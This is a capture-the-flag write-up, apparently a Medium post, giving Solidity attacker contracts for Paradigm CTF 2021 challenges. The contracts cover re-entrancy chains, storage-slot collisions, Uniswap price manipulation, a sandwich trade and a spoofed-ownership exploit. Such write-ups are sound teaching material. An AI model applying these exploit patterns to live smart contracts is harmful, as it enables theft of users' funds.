Paradigm CTF 2021 Solutions

Scoreboard

Challenges

  • ✅ Babycrypto
  • ✅ Babyrev (@adietrichs)
  • ✅ Babysandbox (@rohitnarurkar)
  • ✅ Bank
  • ✅ Bouncer
  • ✅ Broker
  • ✅ Farmer
  • ✅ Hello
  • ❌ JOP
  • ✅ Lockbox (@rohitnarurkar)
  • ✅ Market
  • ❌ Rever
  • ✅ Secure
  • ❌ Swap (still unsolved)
  • ✅ Upgrade (@adietrichs)
  • ❌ Vault
  • ✅ Yield Aggregator

Babycrypto

Babyrev

Babysandbox

Bank

accountStructSlot := keccak(keccak(our_addr . 2)) + 3 * accountId
balanceSlot := keccak( WETH . [accountStructSlot + 2] )
= keccak( WETH . [keccak(keccak(our_addr . 2)) + 3 * accountId + 2] )
accountStructSlot(accountId) == balanceSlot
<=> keccak(keccak(our_addr . 2)) + 3 * accountId == balanceSlot
<=> accountId = [balanceSlot - keccak(keccak(our_addr . 2))] / 3

But how do we actually underflow the accounts[msg.sender].length value?

deposit(0, address(this), 0) // re-enter on first balance,
withdraw(0, address(this), 0) // re-enter on first balance,
deposit(0, address(this), 0) // re-enter on first balance,
closeLastAccount() // (passes .length > 0 && uniqueTokens == 0)
deposit continues execution and sets uniqueTokens to 1
withdraw continues execution and deletes account again (passes uniqueTokens == 1 check)
deposit continues execution and we do not care about what it does
// start re-entrancy chain
reentrancyState = 1;
bank.depositToken(0, address(this), 0);

function balanceOf(address /* who */) public returns (uint256) {
if (reentrancyState == 1) {
reentrancyState++;
bank.withdrawToken(0, this, 0);
} else if (reentrancyState == 2) {
reentrancyState++;
bank.depositToken(0, this, 0);
} else if (reentrancyState == 3) {
reentrancyState++;
// close before deposit uniqueTokens++ is reached
bank.closeLastAccount();
}

return 0;
}

Bouncer

  1. The initial balance (50 ETH + 4 ETH from setup contract)
  2. The 2 ETH fee for our two deposits
  3. The deposit value (x) itself, once
2x == initial_balance + fees + x
=> x = initial_balance + fees
function attack() external payable {
uint256 bouncerBalance = address(bouncer).balance;

// 1 ether entry fee
// need to empty bouncer balance.
// bouncer balance when we call payout will be:
// initial balance + our fee + x, where x is the entry amount (need to pay ONCE in convertMany)
// we want it to be equal to twice the payout amount, 2x
// => 2x = IB + fees + x => x = IB + fees
uint256 _amount = bouncerBalance + 2 * 1 ether;
bouncer.enter{value: 1 ether}(ETH, _amount);
bouncer.enter{value: 1 ether}(ETH, _amount);

withdrawalAmount = _amount;
}

function attack2() external payable {
uint256[] memory ids = new uint256[](2);
for (uint256 i = 0; i < ids.length; i++) {
ids[i] = i;
}
bouncer.convertMany{value: withdrawalAmount}(address(this), ids);

bouncer.redeem(ERC20Like(ETH), withdrawalAmount * ids.length);
}

Broker

function attack() external payable {
weth.deposit{value: msg.value}();

// skew the uniswap ratio by buying lots of tokens
// we're heavily overpaying in ETH but we don't care
weth.transfer(address(pair), weth.balanceOf(address(this)));
bytes memory payload;
// (500k AMT, 25 ETH) in reserve
pair.swap(450_000 * 1 ether, 0, address(this), payload);

uint256 rate = broker.rate();

token.approve(address(broker), type(uint256).max);
// 25 ETH in broker, win condition is < 5 ETH, so withdraw > 20 ETH
uint256 liqAmount = 21 ether * rate;
broker.liquidate(address(setup), liqAmount);

require(setup.isSolved(), "!solved");
}

Farmer

function attack() external payable {
// simple sandwich attack on farmer
// farmer trades Comp -> WETH -> DAI
// trading Comp -> WETH would be more profitable for us
// but we don't have any Comp, so do the simpler WETH -> DAI trade

WETH.deposit{value: msg.value}();
WETH.approve(address(ROUTER), type(uint256).max);

address[] memory path = new address[](2);
path[0] = address(WETH);
path[1] = address(DAI);

uint256 bal = WETH.balanceOf(address(this));

ROUTER.swapExactTokensForTokens(
bal,
0,
path,
address(this),
block.timestamp
);

farmer.claim();
farmer.recycle();

require(setup.isSolved(), "!solved");
}

Hello

it("solves the challenge", async function () {
const helloAddr = await setup.hello();
const hello = await ethers.getContractAt(`Hello`, helloAddr, eoa);
tx = await hello.solve();
await tx.wait();

const solved = await setup.isSolved();
expect(solved).to.be.true;
});

Lockbox

Market

mapping(bytes32 => TokenInfo) tokens;

struct TokenInfo {
bytes32 displayName;
address owner;
address approved;
address metadata;
}
function ensureTokenOwner(tokenId) {
let owner := sload(0x00)
let tokenOwner := sload(add(tokenId, 1))

if iszero(or(
eq(caller(), owner),
eq(caller(), tokenOwner)
)) {
revert(0, 0)
}
}

case 0x169dbe24 { // updateMetadata(bytes32,address)
let tokenId := calldataload(0x04)
let newMetadata := and(calldataload(0x24), 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF)

ensureTokenOwner(tokenId)
sstore(add(tokenId, 3), newMetadata)
}
// after mint
// slot = tokenId
+ 0 (name): "My First Collectible",
+ 1 (owner): owner
+ 2 (approval): owner
+ 3 (metadata): owner
// after market sell
// slot = tokenId
+ 0 (name): "My First Collectible",
+ 1 (owner): market
+ 2 (approval): 0
+ 3 (metadata): owner
// after eternalStorage.updateName(tokenId + 2, bytes32(uint256(address(this))));
// slot = tokenId
+ 0 (name): "My First Collectible",
+ 1 (owner): market
+ 2 (approval): owner
+ 3 (metadata): owner
contract MarketAttacker {
function attack() external payable {
// the token price is not the one we send, it's - 10/11 of it
bytes32 tokenId =
market.mintCollectibleFor{value: 70 ether}(address(this));

// need to set approval to market for sellCollectible check
token.approve(tokenId, address(market));
// update @tokenId + 3 to "this"
eternalStorage.updateMetadata(tokenId, address(this));

// sell it to the market
market.sellCollectible(tokenId);

reclaimToken(tokenId);

// we need to completely empty market which is annoying because of fee
// so we need to send some more funds to the market to be able to withdraw
// all of it
fixMarketBalance(70 ether);

// sell it again!
market.sellCollectible(tokenId);

require(setup.isSolved(), "!solved");
}

function reclaimToken(bytes32 tokenId) internal {
// change name of tokenId + 2, i.e., overwrite tokenId's approval.
// passes ensureTokenOwner check because (tokenId+2) + 1 = tokenId's metadata
bytes32 spoofTokenId = bytes32(uint256(tokenId) + 2);
eternalStorage.updateName(
spoofTokenId,
bytes32(uint256(address(this)))
);
token.transferFrom(tokenId, address(market), address(this));
token.approve(tokenId, address(market));
}

function fixMarketBalance(uint256 sentAmount) internal {
// uint256 tokenPrice = market.tokenPrices(tokenId); // not public
uint256 tokenPrice = (sentAmount * 10000) / (10000 + 1000);
uint256 missingBalance = tokenPrice - address(market).balance;
// send missing ETH to market by minting a new token
market.mintCollectible{value: missingBalance}();
}

receive() external payable {}
}

Secure

function isSolved() public view returns (bool) {
return WETH.balanceOf(address(this)) == WANT;
}

function attack() external payable {
// solution just checks if setup contract has 50 WETH
// so just send it 50 WETH

setup.WETH().deposit.value(msg.value)();
setup.WETH().transfer(address(setup), setup.WANT());

require(setup.isSolved(), "!solved");
}

Upgrade

Yield Aggregator

function deposit(Protocol protocol, address[] memory tokens, uint256[] memory amounts) public {
uint256 balanceBefore = protocol.balanceUnderlying();
for (uint256 i= 0; i < tokens.length; i++) {
address token = tokens[i];
uint256 amount = amounts[i];
ERC20Like(token).transferFrom(msg.sender, address(this), amount);
ERC20Like(token).approve(address(protocol), 0);
ERC20Like(token).approve(address(protocol), amount);
// reset approval for failed mints
try protocol.mint(amount) { } catch {
ERC20Like(token).approve(address(protocol), 0);
}
}
uint256 balanceAfter = protocol.balanceUnderlying();
uint256 diff = balanceAfter - balanceBefore;
poolTokens[msg.sender] += diff;
}
deposit([50 ether, 0 ether], [WETH, attacker])
balanceBefore = 0
WETH.transferFrom(50 ether, attacker, aggregator)
attacker.transferFrom(0 ether, attacker, aggregator)
// re-entrancy
deposit([50 ether], [WETH])
balanceBefore = 50 ether
WETH.transferFrom(50 ether, attacker, aggregator)
balanceAfter = 100 ether
diff = 50 ether // + 50 balance
balanceAfter = 100 ether
diff = 100 ether // + 100 balance

Closing Notes

--

--

--

Full Stack Software Engineer #javascript #EOS. Into Recreational Math / CS 🤯 Just message me about anything, my mind is open.

Love podcasts or audiobooks? Learn on the go with our new app.

Recommended from Medium

Smartphones Aren’t Smart Enough to Vote Yet

Get Control, Get the Ledger Nano S/X Wallet Secure Your CL Coins

Hub Weekly Digest: Hub Partners with Trilogy Networks, Increase in Healthcare Attacks and Pipeline…

How recent data breaches can help you avoid a catfish attack

HOPR DAO v0.2 Phase 3: Vote

Lenses SQL for your Intrusion Detection System

HTML Injection in GoToMeeting Chat — MAC

HOPR Basics: Incentives

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store
Christoph Michel

Christoph Michel

Full Stack Software Engineer #javascript #EOS. Into Recreational Math / CS 🤯 Just message me about anything, my mind is open.

More from Medium

Enzyme Finance Price Oracle Manipulation Bugfix Review

Phantom Functions and the Billion-Dollar No-op

Our review of the blockchain security industry in 2021, with global losses exceeding $9.8 billion

Fairyproof’s Review of Risks Associated with the Recently Airdropped Tokens